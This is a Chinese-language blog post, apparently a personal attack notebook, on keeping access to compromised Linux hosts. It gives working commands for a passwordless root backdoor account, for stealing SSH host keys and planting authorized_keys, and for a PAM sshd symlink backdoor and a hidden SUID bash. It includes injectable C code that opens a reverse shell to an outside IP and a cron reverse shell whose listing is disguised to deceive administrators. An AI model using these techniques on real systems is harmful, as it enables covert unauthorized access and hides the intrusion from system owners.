u1timate
Published on 2021-07-28 / 1,319 Visits
0

linux权限维持

还有更多补充的点

0x01.linux权限维持基本思路

1.linux操作系统的基本特点

  • 长时间运行并带有服务
  • 文件结构简单
    • bin目录:存放的二进制可执行程序,类比windows有点类似于快捷方式。
    • boot目录:开机使用的文件
    • dev目录:linux驱动
    • *img*目录:用于linux升级后回滚。
    • etc目录:配置文件目录
    • *lib*目录:动态链接库,根据程序需要调用不同的so库。
    • media目录:存在一些媒体文件,包括图片视频等
    • mnt目录:挂载磁盘等
    • opt目录
    • proc目录:比较重要,系统表面需要加载的一些东西。
    • run目录:
    • sbin目录:
    • srv目录:
    • sys目录:
    • tmp目录:
    • var目录:
  • 用户权限清晰

2.基本知识面

账户

账户的使用、创建和链接,以ssh为主

操作系统

基于linux的系统特性来思考linux系统本身可以利用的权限维持技巧

系统应用

从linux操作系统的各种通用性较广的应用思考权限维持

维持技巧

从触发转变为持续

  • 思考的重点从基于事件触发转变为次序
  • 利用的点从操作系统本身转到应用
  • 权限从‘控制的权限’到‘提权的权限’===》首次进入系统并将系统权限提升为root之后,需要为后续进入的权限提升做一个方便的权限提升通道。

0x02.基于账户的linux权限维持

1 添加linux账户

  • 普通方式
    useradd
    image.png

这种方式创建的方式我看无法指定uid和gid。
image.png

  • 不普通的方式
    修改passwd文件和shadow文件
/etc/passwd
test:x:0:0::/:/bin/sh   //x表示有密码 

/etc/shadow
test::13407:  0:99999:7:::

先复制一份文件

cp /etc/passwd /tmp/passwd

cp /etc/shadow /tmp/shadow

然后修改复制后的文件

vim /tmp/passwd
在末尾添加
test1:x:0:0::/:/bin/bash

vim /tmp/shadow
在末尾添加,该账号没有密码
test1::13470:0:99999:7:::

#13470随便写一个,只要文件中其他账户没有使用就行。

覆盖回去

[root@tk-waf-6-5-test tmp]# cp passwd /etc/passwd
cp: overwrite `/etc/passwd'? yes
[root@tk-waf-6-5-test tmp]# cp shadow /etc/shadow
cp: overwrite `/etc/shadow'? yes

成功
image.png
**
后期可在ssh_config配置文件中配置允许无密码登陆**

使用openssl添加用户,一键完成

useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root
-s /bin/bash -d   `      /home/hacker

2.连接linux

ssh基本使用

ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

常用格式

ssh [-i identity_file] [-J [user@]host[:port]]这部分的需要记住,很常用

3.基本密钥体系

对称与非对称密钥体系
同一个密钥既可以加密又可以解密就是对称的密钥体系,密文或明文的确定正确由这个密钥决定

有专门的密钥来负责加密,有专门的密钥负责解密就是非对称的密钥体系,密文的的确定正确由负责加密的密钥确定(公钥),明文的确定正确由负责解密的密钥确定(私钥),二者的统一确定由加密的密钥统一决定

ssh认证流程(待补充)

SSH登录主要分为两个阶段:
1)协商客户端和服务端双方通信所使用的共享密钥,并用这个共享密钥实现后续会话过程的对称加密;
2)使用非对称加密方式验证客户端的身份。
两种登陆方式:
1.密码:
1)服务端收到客户端的请求后,把自己的公钥发送给客户端(与会话密钥不同,是服务器自身的公钥/ 私钥对);
2)客户端使用收到的公钥加密密码,并发送回服务器;
3)服务器使用自己私钥解密信息,若密码正确,则通过验证。
2.密钥:
前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。
1)客户端把用户验证的密钥对ID发送给服务器;
2)服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;
3)假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;
4)服务器将加密后的信息发送给客户端;
5)假设客户端拥有对应的私钥,就可以解密出原来的随机数;
6)客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;
7)客户端将MD5哈希值发送回服务器;
8)服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希 值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。
678步可以仅做了解
image.png

4.ssh做linux权限维持

公私钥的两种方案
下载私钥
找到私钥id_rsa下载下来覆盖后,然后ssh -i

上传公钥
将公钥复制到被控制端~/.ssh/authroized_key文件

使用msf后渗透模块进行维持

post/linux/manage/sshkey_persistence 

image.png
完成权限维持
image.png
服务端的私钥保存到了文件/home/kali/.msf4/loot/20210727084619_default_1_id_rsa_308106.txt中

可以看到被控端的~/.ssh/文件夹下存在文件authorized_keys
image.png

最后直接使用ssh -i 密钥文件 root@192.168.26.61
image.png

手动维持

  • 下载私钥
    首先目标机ssh启用了公私钥登陆
    然后进入/etc/ssh文件夹中下载私钥文件,如ssh_host_rsa_key
    **在实战环境中,下载私钥是最好的方式,不需要对主机进行新增操作
    **
  • 上传公钥覆盖
    可以在本地使用ssh-keygen新生成相关密钥。
    image.png
    然后将本地生成的id_rsa.pub公钥文件中的数据上传到被控主机文件~/.ssh/authorized_keys中。
    image.png
    最后直接使用ssh连接
    image.png

0x03.基于linux系统特性的权限维持

1.进程注入

linux-inject工具
关闭进程保护

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

示例

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void shell()
{
    printf("I just got loaded\n");
    system("bash -c \"bash -i >& /dev/tcp/192.168.199.156/4444 0>&1\"");
}
__attribute__((constructor))
void loadMsg()
{
shell(); }

编译

clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC
socket.c

使用

./sample-target
./inject -p 【pid】 socket.so

2.PAM(ssh软链接)待补充

pam是一个类似于windows的wmic。
找到支持pam的程序

cd /etc/pam.d

找到支持的程序具体在什么位置

whereis su

软连接

ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=4444

ssh连接,输入任意密码

ssh 192.168.1.1 -p 4444

3.suid的权限维持

先提权,然后做权限通道维持
1.找到bash文件
whereis bash
2.复制到普通用户环境能接触的文件夹
cp /bin/bash /tmp/.bash
3.设置权限
chmod 4755 /tmp/.bash #设置suid 4代表suid
4.使用
/tmp/.bash -p

4.定时任务权限维持

crontab -l输出隐藏

一般情况下,管理员查看当前运行的定时任务,使用的命令为crontab -l,如何隐藏该命令的输出,从而欺骗管理员

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

没有找到任务
image.png
查看配置文件是否存在
cat /var/spool/cron/root
image.png
也没有找到,如何查看
使用less /var/spool/cron/root
image.png
直接删除/var/spool/cron/root文件即可

0x04.基于linux系统应用的权限维持

rootkit